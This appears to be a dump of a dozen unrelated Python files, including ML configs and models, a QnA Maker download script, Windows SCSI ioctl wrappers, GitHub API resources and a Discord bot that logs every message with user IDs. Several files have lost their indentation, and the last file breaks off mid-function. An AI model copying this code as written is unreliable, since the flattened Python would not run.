# Copyright (c) SenseTime. All Rights Reserved.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from yacs.config import CfgNode as CN
__C = CN()
cfg = __C
__C.META_ARC = "siamcar_r50"
__C.CUDA = True
# ------------------------------------------------------------------------ #
# Training options
# ------------------------------------------------------------------------ #
__C.TRAIN = CN()
# Anchor Target
__C.TRAIN.EXEMPLAR_SIZE = 127
__C.TRAIN.SEARCH_SIZE = 255
__C.TRAIN.OUTPUT_SIZE = 25
__C.TRAIN.RESUME = ''
__C.TRAIN.PRETRAINED = ''
__C.TRAIN.LOG_DIR = './logs'
__C.TRAIN.SNAPSHOT_DIR = './snapshot'
__C.TRAIN.EPOCH = 20
__C.TRAIN.START_EPOCH = 0
__C.TRAIN.BATCH_SIZE = 32
__C.TRAIN.NUM_WORKERS = 1
__C.TRAIN.MOMENTUM = 0.9
__C.TRAIN.WEIGHT_DECAY = 0.0001
__C.TRAIN.CLS_WEIGHT = 1.0
__C.TRAIN.LOC_WEIGHT = 2.0
__C.TRAIN.CEN_WEIGHT = 1.0
__C.TRAIN.PRINT_FREQ = 20
__C.TRAIN.LOG_GRADS = False
__C.TRAIN.GRAD_CLIP = 10.0
__C.TRAIN.BASE_LR = 0.005
__C.TRAIN.LR = CN()
__C.TRAIN.LR.TYPE = 'log'
__C.TRAIN.LR.KWARGS = CN(new_allowed=True)
__C.TRAIN.LR_WARMUP = CN()
__C.TRAIN.LR_WARMUP.WARMUP = True
__C.TRAIN.LR_WARMUP.TYPE = 'step'
__C.TRAIN.LR_WARMUP.EPOCH = 5
__C.TRAIN.LR_WARMUP.KWARGS = CN(new_allowed=True)
__C.TRAIN.NUM_CLASSES = 2
__C.TRAIN.NUM_CONVS = 4
__C.TRAIN.PRIOR_PROB = 0.01
__C.TRAIN.LOSS_ALPHA = 0.25
__C.TRAIN.LOSS_GAMMA = 2.0
# ------------------------------------------------------------------------ #
# Dataset options
# ------------------------------------------------------------------------ #
__C.DATASET = CN(new_allowed=True)
# Augmentation
# for template
__C.DATASET.TEMPLATE = CN()
# for detail discussion
__C.DATASET.TEMPLATE.SHIFT = 4
__C.DATASET.TEMPLATE.SCALE = 0.05
__C.DATASET.TEMPLATE.BLUR = 0.0
__C.DATASET.TEMPLATE.FLIP = 0.0
__C.DATASET.TEMPLATE.COLOR = 1.0
__C.DATASET.SEARCH = CN()
__C.DATASET.SEARCH.SHIFT = 64
__C.DATASET.SEARCH.SCALE = 0.18
# __C.DATASET.SEARCH.SCALE = 0
__C.DATASET.SEARCH.BLUR = 0.0
__C.DATASET.SEARCH.FLIP = 0.0
__C.DATASET.SEARCH.COLOR = 1.0
# for detail discussion
__C.DATASET.NEG = 0.0
__C.DATASET.GRAY = 0.0
__C.DATASET.NAMES = ('VID', 'COCO', 'DET', 'YOUTUBEBB')
__C.DATASET.VID = CN()
__C.DATASET.VID.ROOT = 'train_dataset/vid/crop511' # VID dataset path
__C.DATASET.VID.ANNO = 'train_dataset/vid/train.json'
__C.DATASET.VID.FRAME_RANGE = 100
__C.DATASET.VID.NUM_USE = 100000 # repeat until reach NUM_USE
__C.DATASET.YOUTUBEBB = CN()
__C.DATASET.YOUTUBEBB.ROOT = 'train_dataset/yt_bb/crop511' # YOUTUBEBB dataset path
__C.DATASET.YOUTUBEBB.ANNO = 'train_dataset/yt_bb/train.json'
__C.DATASET.YOUTUBEBB.FRAME_RANGE = 3
__C.DATASET.YOUTUBEBB.NUM_USE = -1 # use all not repeat
__C.DATASET.COCO = CN()
__C.DATASET.COCO.ROOT = 'train_dataset/coco/crop511' # COCO dataset path
__C.DATASET.COCO.ANNO = 'train_dataset/coco/train2017.json'
__C.DATASET.COCO.FRAME_RANGE = 1
__C.DATASET.COCO.NUM_USE = -1
__C.DATASET.DET = CN()
__C.DATASET.DET.ROOT = 'train_dataset/det/crop511' # DET dataset path
__C.DATASET.DET.ANNO = 'train_dataset/det/train.json'
__C.DATASET.DET.FRAME_RANGE = 1
__C.DATASET.DET.NUM_USE = -1
__C.DATASET.GOT = CN()
__C.DATASET.GOT.ROOT = 'train_dataset/got10k/crop511' # GOT dataset path
__C.DATASET.GOT.ANNO = 'train_dataset/got10k/train.json'
__C.DATASET.GOT.FRAME_RANGE = 50
__C.DATASET.GOT.NUM_USE = 100000
__C.DATASET.LaSOT = CN()
__C.DATASET.LaSOT.ROOT = 'train_dataset/lasot/crop511' # LaSOT dataset path
__C.DATASET.LaSOT.ANNO = 'train_dataset/lasot/train.json'
__C.DATASET.LaSOT.FRAME_RANGE = 100
__C.DATASET.LaSOT.NUM_USE = 100000
__C.DATASET.VIDEOS_PER_EPOCH = 600000 #600000
# ------------------------------------------------------------------------ #
# Backbone options
# ------------------------------------------------------------------------ #
__C.BACKBONE = CN()
# Backbone type, current only support resnet18,34,50;alexnet;mobilenet
__C.BACKBONE.TYPE = 'res50'
__C.BACKBONE.KWARGS = CN(new_allowed=True)
# Pretrained backbone weights
__C.BACKBONE.PRETRAINED = ''
# Train layers
__C.BACKBONE.TRAIN_LAYERS = ['layer2', 'layer3', 'layer4']
# Layer LR
__C.BACKBONE.LAYERS_LR = 0.1
# Switch to train layer
__C.BACKBONE.TRAIN_EPOCH = 10
# ------------------------------------------------------------------------ #
# Adjust layer options
# ------------------------------------------------------------------------ #
__C.ADJUST = CN()
# Adjust layer
__C.ADJUST.ADJUST = True
__C.ADJUST.KWARGS = CN(new_allowed=True)
# Adjust layer type
__C.ADJUST.TYPE = "AdjustAllLayer"
# ------------------------------------------------------------------------ #
# RPN options
# ------------------------------------------------------------------------ #
__C.CAR = CN()
# RPN type
__C.CAR.TYPE = 'MultiCAR'
__C.CAR.KWARGS = CN(new_allowed=True)
# ------------------------------------------------------------------------ #
# Tracker options
# ------------------------------------------------------------------------ #
__C.TRACK = CN()
__C.TRACK.TYPE = 'SiamCARTracker'
# Scale penalty
__C.TRACK.PENALTY_K = 0.04
# Window influence
__C.TRACK.WINDOW_INFLUENCE = 0.44
# Interpolation learning rate
__C.TRACK.LR = 0.4
# Exemplar size
__C.TRACK.EXEMPLAR_SIZE = 127
# Instance size
__C.TRACK.INSTANCE_SIZE = 255
# Context amount
__C.TRACK.CONTEXT_AMOUNT = 0.5
__C.TRACK.STRIDE = 8
__C.TRACK.SCORE_SIZE = 25
__C.TRACK.hanming = True
__C.TRACK.NUM_K = 2
__C.TRACK.NUM_N = 1
__C.TRACK.REGION_S = 0.1
__C.TRACK.REGION_L = 0.44
# ------------------------------------------------------------------------ #
# HP_SEARCH parameters
# ------------------------------------------------------------------------ #
__C.HP_SEARCH = CN()
__C.HP_SEARCH.OTB100 = [0.35, 0.2, 0.45]
__C.HP_SEARCH.GOT10K = [0.7, 0.06, 0.1]
__C.HP_SEARCH.UAV123 = [0.4, 0.2, 0.3]
__C.HP_SEARCH.LaSOT = [0.33, 0.04, 0.3]
| python |
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
"""
Script to download a QnA Maker knowledge base (KB) from one
QnA Maker resource to a json file.
This script can be run from the command line (or from inside your IDE) using:
python <path_to_this_file> --output <output_file_name> --slot <test/prod>
Troubleshooting:
- ModuleNotFoundError: No module named 'kb'
-> Fix: set environment variable PYTHONPATH to repo root
e.g.: export PYTHONPATH=/workspaces/MLOpsManufacturing/samples/mlops-for-azure-custom-question-answering
"""
from kb.util.env import Env
from kb.util.qnaClient import QnaClient
from argparse import ArgumentParser, Namespace
import json
def main(args: Namespace):
env = Env()
# Get the details of the KBs so they can be used in output/storage
# folder names.
source_client = QnaClient(
env.qna_source_endpoint, env.qna_source_sub_key, env.qna_source_kb_id
)
source_kb_details = source_client.get_kb_details()
print(
f"Source KB - Name: {source_kb_details['name']}, "
"ID: {env.qna_source_kb_id}, Endpoint: {env.qna_source_endpoint}"
)
# Download the source (where you are promoting from) KB question and
# answers.
print(f"\tDownloading source KB from {args.slot}...")
source_qnas = source_client.download(args.slot)
print("\t\tDownloaded.")
with open(args.output, "w", encoding="utf-8") as f:
f.write(json.dumps(source_qnas, sort_keys=True, indent=4))
print(f"\t\tSaved to file {args.output}.")
print("Download completed (download-kb.py).")
def parse_arguments():
argparse = ArgumentParser()
argparse.add_argument(
"-o",
"--output",
type=str,
required=True,
help="Output file name. File content will be JSON.",
)
argparse.add_argument(
"-s",
"--slot",
choices=["Test", "Prod"],
required=True,
help="Flag to determine from which slot the KB should be downloaded.",
)
return argparse.parse_args()
if __name__ == "__main__":
main(parse_arguments())
| python |
from typing import List, Optional
from citrine._rest.resource import Resource, ResourceTypeEnum
from citrine._serialization import properties as _properties
from citrine.informatics.data_sources import DataSource
from citrine.informatics.descriptors import Descriptor
from citrine.informatics.predictors import Predictor
from citrine._rest.ai_resource_metadata import AIResourceMetadata
__all__ = ['AutoMLPredictor']
class AutoMLPredictor(Resource['AutoMLPredictor'], Predictor, AIResourceMetadata):
"""[ALPHA] A predictor interface that builds a single ML model.
The model uses the set of inputs to predict the output.
Only one value for output is currently supported.
Only one machine learning model is built.
Parameters
----------
name: str
name of the configuration
description: str
the description of the predictor
inputs: list[Descriptor]
Descriptors that represent inputs to the model
output: Descriptor
A single Descriptor that represents the output of the model
training_data: Optional[List[DataSource]]
Sources of training data. Each can be either a CSV or an GEM Table. Candidates from
multiple data sources will be combined into a flattened list and de-duplicated by uid and
identifiers. De-duplication is performed if a uid or identifier is shared between two or
more rows. The content of a de-duplicated row will contain the union of data across all
rows that share the same uid or at least 1 identifier. Training data is unnecessary if the
predictor is part of a graph that includes all training data required by this predictor.
"""
_resource_type = ResourceTypeEnum.MODULE
inputs = _properties.List(_properties.Object(Descriptor), 'config.inputs')
output = _properties.Object(Descriptor, 'output')
training_data = _properties.List(_properties.Object(DataSource),
'config.training_data', default=[])
typ = _properties.String('config.type', default='AutoML', deserializable=False)
module_type = _properties.String('module_type', default='PREDICTOR')
def __init__(self,
name: str,
*,
description: str,
output: Descriptor,
inputs: List[Descriptor],
training_data: Optional[List[DataSource]] = None):
self.name: str = name
self.description: str = description
self.inputs: List[Descriptor] = inputs
self.output: Descriptor = output
self.training_data: List[DataSource] = training_data or []
def _post_dump(self, data: dict) -> dict:
data['display_name'] = data['config']['name']
data['config']['outputs'] = [data['output']]
data['config']['responses'] = [data['output']]
return data
@classmethod
def _pre_build(cls, data: dict) -> dict:
if 'outputs' in data['config']:
data['output'] = data['config']['outputs'][0]
elif 'responses' in data['config']:
data['output'] = data['config']['responses'][0]
return data
def __str__(self):
return '<AutoMLPredictor {!r}>'.format(self.name)
| python |
import dbus
bus = dbus.SessionBus()
notif = bus.get_object(
"org.freedesktop.Notifications",
"/org/freedesktop/Notifications"
)
notify_interface = dbus.Interface(notif, "org.freedesktop.Notifications")
last_id = 0
def notify(icon, title, message, progress=None, timeout=0):
global last_id
app_name = "HHH"
id_num_to_replace = last_id
# actions_list = dict(default='asd', Close='asdasd')
actions_list = ''
if progress:
hint = dict(value=progress)
else:
hint = ''
last_id = notify_interface.Notify(
app_name, id_num_to_replace,
icon, title, message,
actions_list, hint, timeout
)
| python |
import os
import random
import numpy as np
import torch
#https://pytorch.org/docs/stable/notes/randomness.html
def set_seed(seed, logger=None):
if logger:
logger.debug(f'seed : {seed}')
os.environ['PYTHONHASHSEED'] = str(seed)
random.seed(seed)
np.random.seed(seed)
torch.manual_seed(seed)
#torch.cuda.manual_seed_all(seed) #不要
torch.backends.cudnn.deterministic = True
# Trueにすると2週目以降早くなる?が、再現性を確保できなくなる
torch.backends.cudnn.benchmark = False
if __name__ == "__main__":
# test
from logging import getLogger, basicConfig
logger = getLogger(__name__)
basicConfig(level='DEBUG')
seed = 20200219
print(seed)
set_seed(seed, logger)
| python |
# The MIT License (MIT)
#
# Copyright (c) 2014-2016 Santoso Wijaya <santoso.wijaya@gmail.com>
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sub-license, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import ctypes
import ctypes.wintypes as wintypes
from ctypes import windll
LPDWORD = ctypes.POINTER(wintypes.DWORD)
LPOVERLAPPED = wintypes.LPVOID
LPSECURITY_ATTRIBUTES = wintypes.LPVOID
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
CREATE_NEW = 1
CREATE_ALWAYS = 2
OPEN_EXISTING = 3
OPEN_ALWAYS = 4
TRUNCATE_EXISTING = 5
FILE_ATTRIBUTE_NORMAL = 0x00000080
FILE_FLAG_NO_BUFFERING = 0x20000000
FILE_FLAG_RANDOM_ACCESS = 0x10000000
INVALID_HANDLE_VALUE = -1
NULL = 0
FALSE = wintypes.BOOL(0)
TRUE = wintypes.BOOL(1)
def _CreateFile(filename, access, mode, creation, flags):
"""See: CreateFile function
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
"""
CreateFile_Fn = windll.kernel32.CreateFileW
CreateFile_Fn.argtypes = [
wintypes.LPWSTR, # _In_ LPCTSTR lpFileName
wintypes.DWORD, # _In_ DWORD dwDesiredAccess
wintypes.DWORD, # _In_ DWORD dwShareMode
LPSECURITY_ATTRIBUTES, # _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
wintypes.DWORD, # _In_ DWORD dwCreationDisposition
wintypes.DWORD, # _In_ DWORD dwFlagsAndAttributes
wintypes.HANDLE] # _In_opt_ HANDLE hTemplateFile
CreateFile_Fn.restype = wintypes.HANDLE
return wintypes.HANDLE(CreateFile_Fn(filename,
access,
mode,
NULL,
creation,
flags,
NULL))
def _DeviceIoControl(devhandle, ioctl, inbuf, inbufsiz, outbuf, outbufsiz):
"""See: DeviceIoControl function
http://msdn.microsoft.com/en-us/library/aa363216(v=vs.85).aspx
"""
DeviceIoControl_Fn = windll.kernel32.DeviceIoControl
DeviceIoControl_Fn.argtypes = [
wintypes.HANDLE, # _In_ HANDLE hDevice
wintypes.DWORD, # _In_ DWORD dwIoControlCode
wintypes.LPVOID, # _In_opt_ LPVOID lpInBuffer
wintypes.DWORD, # _In_ DWORD nInBufferSize
wintypes.LPVOID, # _Out_opt_ LPVOID lpOutBuffer
wintypes.DWORD, # _In_ DWORD nOutBufferSize
LPDWORD, # _Out_opt_ LPDWORD lpBytesReturned
LPOVERLAPPED] # _Inout_opt_ LPOVERLAPPED lpOverlapped
DeviceIoControl_Fn.restype = wintypes.BOOL
# allocate a DWORD, and take its reference
dwBytesReturned = wintypes.DWORD(0)
lpBytesReturned = ctypes.byref(dwBytesReturned)
status = DeviceIoControl_Fn(devhandle,
ioctl,
inbuf,
inbufsiz,
outbuf,
outbufsiz,
lpBytesReturned,
None)
return status, dwBytesReturned
class DeviceIoControl(object):
def __init__(self, path):
self.path = path
self._fhandle = None
def _validate_handle(self):
if self._fhandle is None:
raise Exception('No file handle')
if self._fhandle.value == wintypes.HANDLE(INVALID_HANDLE_VALUE).value:
raise Exception('Failed to open %s. GetLastError(): %d' %
(self.path, windll.kernel32.GetLastError()))
def ioctl(self, ctl, inbuf, inbufsiz, outbuf, outbufsiz):
self._validate_handle()
return _DeviceIoControl(self._fhandle, ctl, inbuf, inbufsiz, outbuf, outbufsiz)
def __enter__(self):
self._fhandle = _CreateFile(
self.path,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
OPEN_EXISTING,
0)
#FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING | FILE_FLAG_RANDOM_ACCESS)
self._validate_handle()
return self
def __exit__(self, typ, val, tb):
try:
self._validate_handle()
except Exception:
pass
else:
windll.kernel32.CloseHandle(self._fhandle)
def GetCapacity(dctl):
# first, define the Structure in ctypes language
class DISK_GEOMETRY(ctypes.Structure):
"""See: http://msdn.microsoft.com/en-us/library/aa363972(v=vs.85).aspx"""
_fields_ = [
('Cylinders', wintypes.LARGE_INTEGER),
('MediaType', wintypes.BYTE), # MEDIA_TYPE
('TracksPerCylinder', wintypes.DWORD),
('SectorsPerTrack', wintypes.DWORD),
('BytesPerSector', wintypes.DWORD)
]
IOCTL_DISK_GET_DRIVE_GEOMETRY = 0x70000
disk_geometry = DISK_GEOMETRY()
p_disk_geometry = ctypes.pointer(disk_geometry)
status, _ = dctl.ioctl(IOCTL_DISK_GET_DRIVE_GEOMETRY,
None, 0, # no input buffer
p_disk_geometry, ctypes.sizeof(DISK_GEOMETRY))
if status:
capacity = disk_geometry.BytesPerSector * disk_geometry.SectorsPerTrack * disk_geometry.TracksPerCylinder * disk_geometry.Cylinders
return capacity
else:
raise Exception('IOCTL returned failure. GetLastError(): %d' % (windll.kernel32.GetLastError()))
return None
class PointerSizeTest(ctypes.Structure):
_fields_ = [
('P', ctypes.POINTER(wintypes.BYTE))
]
def ScsiRequest(dctl, cdb, data, dataIn=True, mayFail=False):
SenseLength = 24
class SCSI_SENSE_DATA(ctypes.Structure):
_fields_ = [
('Data', wintypes.BYTE * SenseLength)
]
class SCSI_PASS_THROUGH_DIRECT(ctypes.Structure):
_fields_ = [
('Length', wintypes.USHORT),
('ScsiStatus', wintypes.BYTE),
('PathId', wintypes.BYTE),
('TargetId', wintypes.BYTE),
('Lun', wintypes.BYTE),
('CdbLength', wintypes.BYTE),
('SenseInfoLength', wintypes.BYTE),
('DataIn', wintypes.BYTE),
('Padding9', wintypes.BYTE * 3),
('DataTransferLength', wintypes.DWORD),
('TimeOutValue', wintypes.DWORD),
('DataBuffer', ctypes.POINTER(wintypes.BYTE)),
('SenseInfoOffset', wintypes.DWORD),
('Cdb', wintypes.BYTE * 16)
]
class SCSI_PASS_THROUGH_DIRECT_WITH_SENSE(SCSI_PASS_THROUGH_DIRECT):
_fields_ = [
('Sense', wintypes.BYTE * SenseLength)
]
#print("0x%X"%(ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT)))
#print("0x%X"%(ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE)))
#print("0x%X"%(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE.Sense.offset))
IOCTL_SCSI_PASS_THROUGH_DIRECT = 0x4D014
buf = (wintypes.BYTE * len(data))()
if dataIn == False:
for i in range(len(data)):
buf[i] = data[i] & 0xFF
pass_through = SCSI_PASS_THROUGH_DIRECT_WITH_SENSE()
pass_through.Length = ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT)
pass_through.CdbLength = 16
pass_through.SenseInfoLength = SenseLength
pass_through.DataIn = 1 if dataIn == True else 0
pass_through.DataBuffer = buf
pass_through.DataTransferLength = len(buf)
pass_through.TimeOutValue = 5
pass_through.SenseInfoOffset = SCSI_PASS_THROUGH_DIRECT_WITH_SENSE.Sense.offset #0x30 #pass_through.Sense.offset
# validate structure size
if (ctypes.sizeof(PointerSizeTest) == 4 and pass_through.Length == 0x2C) \
or (ctypes.sizeof(PointerSizeTest) == 8 and pass_through.Length == 0x38):
pass
else:
raise Exception("Invalid SPTD structure size 0x%X, 0x%X"%(pass_through.Length, ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE)))
for i in range(len(cdb)):
if i >= 16:
break
pass_through.Cdb[i] = cdb[i] & 0xFF
#TODO: fix CdbLength according to SCSI specs
p_pass_through = ctypes.pointer(pass_through)
status, _ = dctl.ioctl(IOCTL_SCSI_PASS_THROUGH_DIRECT,
p_pass_through, ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE),
p_pass_through, ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE))
#print(status, pass_through.ScsiStatus, pass_through.Sense[0])
if status and pass_through.ScsiStatus == 0:
if dataIn == True:
for i in range(len(data)):
data[i] = buf[i] & 0xFF
return data
else:
return True
else:
if mayFail == False:
raise Exception('SCSI request failure. GetLastError(): %d, ScsiStatus: %d' % (windll.kernel32.GetLastError(), pass_through.ScsiStatus))
return None
| python |
# -*- coding: utf-8 -*-
import asyncio
import discord
import os
import sqlite3
client = discord.Client()
conn = sqlite3.connect('data.db')
c = conn.cursor()
@client.event
async def on_message(message):
if message.author.bot:
return
uname = message.author.id
con = message.content
sql = 'insert into data (userid, message) values (?,?)'
namelist = (uname, con)
c.execute(sql, namelist)
conn.commit()
if __name__ == "__main__":
client.run(os.environ['LOGGER_TOKEN']) | python |
temp_module = __import__('vmware.ProducerSnippetBase', globals(), locals(), ["ProducerSnippetBase"], -1)
producer_snippet_base = getattr(temp_module, "ProducerSnippetBase")
setattr(producer_snippet_base, "print_text", lambda(self): "ZZZ")
r1 = file.print_msg()
x = file.ProducerSnippetBase()
x2 = file.ProducerSnippetBase()
r2 = x.print_text()
print r1
print r2
print x2.print_text() | python |
from libsaas import http, parsers
from libsaas.services import base
from . import resource
from . import organizations
class UserRepos(resource.GitHubResource):
path = 'repos'
@base.apimethod
def get(self, type='all', page=None, per_page=None):
"""
Fetch repos for this user.
:var type: What type of repos to fetch. For details of allowed values,
see http://developer.github.com/v3/repos/#list-user-repositories.
:vartype type: str
"""
params = base.get_params(('page', 'per_page'), locals())
params['type'] = type
request = http.Request('GET', self.get_url(), params)
return request, parsers.parse_json
def create(self, *args, **kwargs):
raise base.MethodNotSupported()
class UserEmails(base.HierarchicalResource):
path = 'emails'
@base.apimethod
def get(self):
"""
Fetch all emails of the authenticated user.
"""
request = http.Request('GET', self.get_url())
return request, parsers.parse_json
@base.apimethod
def add(self, emails):
"""
Add emails to the authenticated user.
:var emails: A list of emails to add.
:vartype emails: list of str
"""
request = http.Request('POST', self.get_url(), emails)
return request, parsers.parse_json
@base.apimethod
def remove(self, emails):
"""
Remove emails from the authenticated user.
:var emails: A list of emails to remove.
:vartype emails: list of str
"""
request = http.Request('DELETE', self.get_url(), emails)
return request, parsers.parse_empty
class UsersBase(resource.GitHubResource):
path = 'user'
def delete(self, *args, **kwargs):
raise base.MethodNotSupported()
@base.apimethod
def followers(self, page=None, per_page=None):
"""
Fetch the followers of this user.
"""
url = '{0}/{1}'.format(self.get_url(), 'followers')
params = base.get_params(('page', 'per_page'), locals())
return http.Request('GET', url, params), parsers.parse_json
@base.apimethod
def following(self, page=None, per_page=None):
"""
Fetch users that this user is following.
"""
url = '{0}/{1}'.format(self.get_url(), 'following')
params = base.get_params(('page', 'per_page'), locals())
return http.Request('GET', url, params), parsers.parse_json
@base.resource(organizations.Organizations)
def orgs(self):
"""
Return a resource corresponding to user's organizations.
"""
return organizations.Organizations(self)
class CurrentUser(UsersBase):
def require_collection(self):
raise base.MethodNotSupported()
@base.apimethod
def update(self, obj):
request = http.Request('PATCH', self.get_url(), obj)
return request, parsers.parse_json
update.__doc__ = UsersBase.__doc__
@base.resource(UserEmails)
def emails(self):
"""
Return the resource corresponding to the emails of the authenticated
user.
"""
return UserEmails(self)
@base.apimethod
def follow(self, name):
"""
Start following the given user.
"""
url = '{0}/{1}/{2}'.format(self.get_url(), 'following', name)
# include a body, because requests does not send content-length when no
# body is present, and that makes GitHub respond with HTTP 411
return http.Request('PUT', url, '*'), parsers.parse_empty
@base.apimethod
def unfollow(self, name):
"""
Stop following the given user.
"""
url = '{0}/{1}/{2}'.format(self.get_url(), 'following', name)
return http.Request('DELETE', url), parsers.parse_empty
@base.apimethod
def follows(self, name):
"""
Check if the authenticated user follows the given user.
:return: bool
"""
url = '{0}/{1}/{2}'.format(self.get_url(), 'following', name)
return http.Request('GET', url), resource.parse_boolean
class User(UsersBase):
path = 'users'
def update(self, *args, **kwargs):
raise base.MethodNotSupported()
@base.resource(UserRepos)
def repos(self, page=None, per_page=None):
"""
Return the resource corresponding to all the repos of this user.
"""
return UserRepos(self)
| python |
Comment # unused class (src/mrkup/mrkup.py:87)
Tag # unused class (src/mrkup/mrkup.py:140)
PI # unused class (src/mrkup/mrkup.py:210)
| python |
"""Invariants for value annotations (available as :py:mod:`pybryt.invariants`)"""
import numpy as np
from abc import ABC, abstractmethod
from collections import Iterable
from typing import Any, List, Optional, Union
# from enum import Enum, auto
# TODO: add iterable_type invariant
class invariant(ABC):
"""
Abstract base class for invariants.
All subclasses should implement the :py:meth:`run<invariant.run>` static method for generating
values that this invariant accepts as "correct". Invariants have a custom ``__new__`` method
that returns the value of calling the :py:meth:`run<invariant.run>` method, making them
function as callables.
"""
@staticmethod
def __new__(cls, *args, **kwargs):
return cls.run(*args, **kwargs)
@staticmethod
@abstractmethod
def run(values: List[Any], **kwargs) -> List[Any]:
"""
Returns a list of values that this invariant accepts as correct.
Takes in a list of acceptable values from a :py:class:`Value<pybryt.Value>` annotation and
returns a list of values that would evaluate as "the same" under the conditions of this
invariant.
For example, if ``values`` as a list with a single element, a numpy matrix, and the
invariant was matrix transposition, this method would return a length-2 list containing the
original matrix and its transpose.
Args:
values (``list[object]``): acceptable values, either from the initial constructor call
of the annotation or from the results of other invariants
kwargs: additional keyword arguments
Returns:
``list[object]``: the values that would evaluate as "the same" under the conditions
of this invariant
"""
...
# TODO: if hashing, for all strings collect actual string and lowercased version (marked as such),
# and compare against that if this invariant is used.
class string_capitalization(invariant):
"""
An invariant that compares strings ignoring capitalization.
Works by taking in a list of values and lowercasing them if they are strings and leaving them
unchanged otherwise.
"""
@staticmethod
def run(values: List[Any]) -> List[Any]:
"""
Returns a list of values in which all strings have been lowercased.
Args:
values (``list[object]``): acceptable values, either from the initial constructor call
of the annotation or from the results of other invariants
Returns:
``list[object]``: the elements of ``values`` with all strings lowercased
"""
ret = []
for v in values:
if not isinstance(v, str):
ret.append(v)
else:
ret.append(v.lower())
return ret
| python |
# -*- coding: utf-8 -*-
"""
"""
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch_geometric.nn import GATConv
from torch.nn import Linear, BatchNorm1d
from torch_geometric.utils import dense_to_sparse
class TemporalAttention(torch.nn.Module):
"""
model imput: (batch_size, num_of_nodes, channels, time_step)
"""
def __init__(self, num_of_nodes, channels, time_step):
super().__init__()
self.W_1 = nn.Parameter(torch.zeros(size=(num_of_nodes,)))
nn.init.uniform_(self.W_1.data)
self.W_2 = nn.Parameter(torch.zeros(size=(channels, time_step)))
nn.init.xavier_uniform_(self.W_2.data, gain=1.414)
self.b = nn.Parameter(torch.zeros(size=(1, time_step, time_step)))
nn.init.xavier_uniform_(self.b.data, gain=1.414)
self.V = nn.Parameter(torch.zeros(size=(time_step, time_step)))
nn.init.xavier_uniform_(self.V.data, gain=1.414)
self.bn = nn.BatchNorm1d(time_step)
def forward(self, x):
product = torch.matmul(torch.matmul(
x.permute(0, 3, 2, 1), self.W_1), self.W_2)
E = torch.tanh(torch.matmul(product, self.V)+self.b)
E_normalized = self.bn(E)
return E_normalized
class SpatialAttention(torch.nn.Module):
"""
model imput: (batch_size, num_of_nodes, channels, time_step)
"""
def __init__(self, num_of_nodes, channels, time_step):
super().__init__()
self.W_1 = nn.Parameter(torch.zeros(size=(time_step,)))
nn.init.uniform_(self.W_1.data)
self.W_2 = nn.Parameter(torch.zeros(size=(channels, num_of_nodes)))
nn.init.xavier_uniform_(self.W_2.data, gain=1.414)
self.b = nn.Parameter(torch.zeros(
size=(1, num_of_nodes, num_of_nodes)))
nn.init.xavier_uniform_(self.b.data, gain=1.414)
self.V = nn.Parameter(torch.zeros(size=(num_of_nodes, num_of_nodes)))
nn.init.xavier_uniform_(self.V.data, gain=1.414)
self.bn = BatchNorm1d(num_of_nodes)
def forward(self, x):
product = torch.matmul(torch.matmul(x, self.W_1), self.W_2)
S = torch.tanh(torch.matmul(product, self.V)+self.b)
S_normalized = self.bn(S)
return S_normalized
class STGAT(torch.nn.Module):
"""Self-organized Graph Construction Module
Args:
in_features: size of each input sample
bn_features: size of bottleneck layer
out_features: size of each output sample
topk: size of top k-largest connections of each channel
"""
def __init__(self, time_step: int, bn_features: int, out_features: int, conv_channels: int, topk: int, spatial: bool, temporal: bool):
super().__init__()
self.num_of_vertices = 62
self.time_step = time_step
self.bn_features = bn_features
self.out_features = out_features
self.conv_channels = conv_channels
self.topk = topk
self.spatial = spatial
self.temporal = temporal
self.bnlin = Linear(time_step*conv_channels, bn_features)
self.gconv1 = GATConv(time_step*conv_channels,
out_features, heads=4, dropout=0.3)
self.gconv2 = GATConv(out_features*4,
out_features, heads=4, concat=False, dropout=0.3)
# self.gconv1 = DenseGCNConv(
# time_step*conv_channels, out_features)
# self.gconv2 = DenseGCNConv(out_features, out_features)
self.s_attr = None
self.t_attr = None
if spatial:
self.s_attr = SpatialAttention(
self.num_of_vertices, conv_channels, time_step)
if temporal:
self.t_attr = TemporalAttention(
self.num_of_vertices, conv_channels, time_step)
def forward(self, x, edge_index):
x = x.reshape(-1, self.num_of_vertices,
self.conv_channels, self.time_step)
if self.spatial:
adj = self.s_attr(x)
amask = torch.zeros(adj.size(0), self.num_of_vertices,
self.num_of_vertices).cuda()
amask.fill_(0.0)
s, t = adj.topk(self.topk, 2)
